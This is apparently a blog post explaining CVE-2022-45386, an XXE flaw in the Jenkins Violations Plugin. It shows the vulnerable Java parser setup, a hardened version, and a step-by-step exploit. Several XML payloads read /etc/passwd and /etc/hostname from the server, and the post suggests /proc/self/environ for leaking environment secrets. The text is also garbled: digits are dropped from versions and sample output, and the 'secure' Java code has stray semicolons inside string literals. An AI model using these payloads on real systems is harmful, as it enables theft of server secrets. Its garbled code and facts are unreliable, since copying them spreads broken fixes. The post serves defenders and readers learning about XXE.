Jenkins is a widely-used automation server in software development, handling millions of jobs worldwide. Jenkins Violations Plugin is an add-on that reports static analysis violations, but version .7.11 and earlier has a dangerous security hole: CVE-2022-45386.
This vulnerability stems from the plugin's failure to lock down its XML parser—allowing attackers to use malicious XML files to read sensitive files from the Jenkins server (and more). In this post, you'll learn—in simple terms—how this happened, what an XXE is, how it could be used maliciously, and how developers can fix it.
Understanding the Vulnerability
The vulnerability exists because Jenkins Violations Plugin (up to .7.11) fails to configure the XML parser properly. By default, Java XML parsers allow "external entities" – bits of XML that reference content outside the actual XML (like a file or web URL). If not disabled, an attacker can upload a crafted XML file that makes the server read and leak files.
TL;DR: The plugin loads XML reports, but never tells its parser to block external entities. An attacker can drop a malicious file into a build, and when Jenkins parses it, it will reveal parts of the system. On a CI/CD server, often this means leaking environment secrets, private keys, or build logs.
XXE stands for XML External Entity attack. Here’s what that means, simply
- XML is a markup language for storing/transporting data.
- "External Entities" are “shortcuts” in XML that let you refer to outside files, URLs, or system resources.
- If a program loads XML and does not *disable* "external entities", hackers can trick the program into reading files from disk (like /etc/passwd), making external HTTP requests, or even causing denial of service.
Example (not specific to Jenkins)
<?xml version="1."?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<report>
<data>&xxe;</data>
</report>
If an application opens this XML and prints out the content of <data>, it would actually print the contents of /etc/passwd!
Digging Into the Jenkins Violations Plugin
The Violations Plugin parses XML files (from static analysis tools) after every build. The plugin does this using Java's standard SAX or DOM parser.
The culprit is that the plugin doesn’t call the lines necessary to turn off "external entity" processing.
The problematic code pattern looks like this (simplified)
// Java: Vulnerable XML parser usage
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Missing step: factory.setFeature(...) to block XXE
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(xmlInputFile);
If the plugin developer did this instead, XXE would not be possible
// Java: Secure XML parsing (blocks XXE)
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl";, true);
factory.setFeature("http://xml.org/sax/features/external-general-entities";, false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities";, false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(xmlInputFile);
How CVE-2022-45386 Works (with Code Snippet)
When an attacker can upload or otherwise control an XML file the plugin processes, they can exploit this flaw.
Imagine a malicious user sets up a project with a static analysis tool that drops a report file like this:
<?xml version="1."?>
<!DOCTYPE foo [
<!ENTITY secret SYSTEM "file:///etc/hostname">
]>
<violations>
<violation message="Server name: &secret;" />
</violations>
The Violations Plugin loads it with an unrestricted parser, expands &secret;, and now information from /etc/hostname (on the Jenkins server!) shows up in output, logs, or web pages.
How the exploit works
1. Attacker creates a CI/CD job that drops this crafted XML into the workspace—or tricks the build to generate it.
Secrets leak to the CI logs or web UI.
Code referenced from Jenkins source:
- Jenkins Violations Plugin code
Step-by-Step Exploit Example
Let's say your build runs a tool that writes /var/lib/jenkins/workspace/my-job/target/violations.xml.
Suppose an attacker replaces/adds the file with
<?xml version="1."?>
<!DOCTYPE evil [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<violations>
<violation message='Leaked: &xxe;' />
</violations>
In the Jenkins web UI, the Violations report would show
Leaked: root:x:::root:/root:/bin/bash ...
(ie: the contents of /etc/passwd)
This information could help the attacker:
Map the system for further exploits
- Leak environment variables (try file:///proc/self/environ)
Original References
- Jenkins Security Advisory for CVE-2022-45386
- CVE Details in NVD
- GitHub: violations-plugin
- OWASP XXE Cheat Sheet
Upgrade the Violations Plugin:
If you are on .7.11 or earlier, upgrade to a patched version when released, or apply a manual fix if possible.
Conclusion
CVE-2022-45386 is a classic example of how a missing configuration in a widely-used tool can expose underlying secrets. XML parsing in Java is tricky—if you don’t explicitly turn off external entities, you could be letting attackers leak your private keys, environment variables, or even facilitate further attacks.
Stay safe:
Never trust uploaded files, even in automated build pipelines.
- When in doubt, use secure configuration patterns from official sources (e.g. OWASP).
Jenkins users:
Double-check ALL your plugins for known XXE and similar vulnerabilities.
Timeline
Published on: 11/15/2022 20:15:00 UTC
Last modified on: 11/18/2022 15:36:00 UTC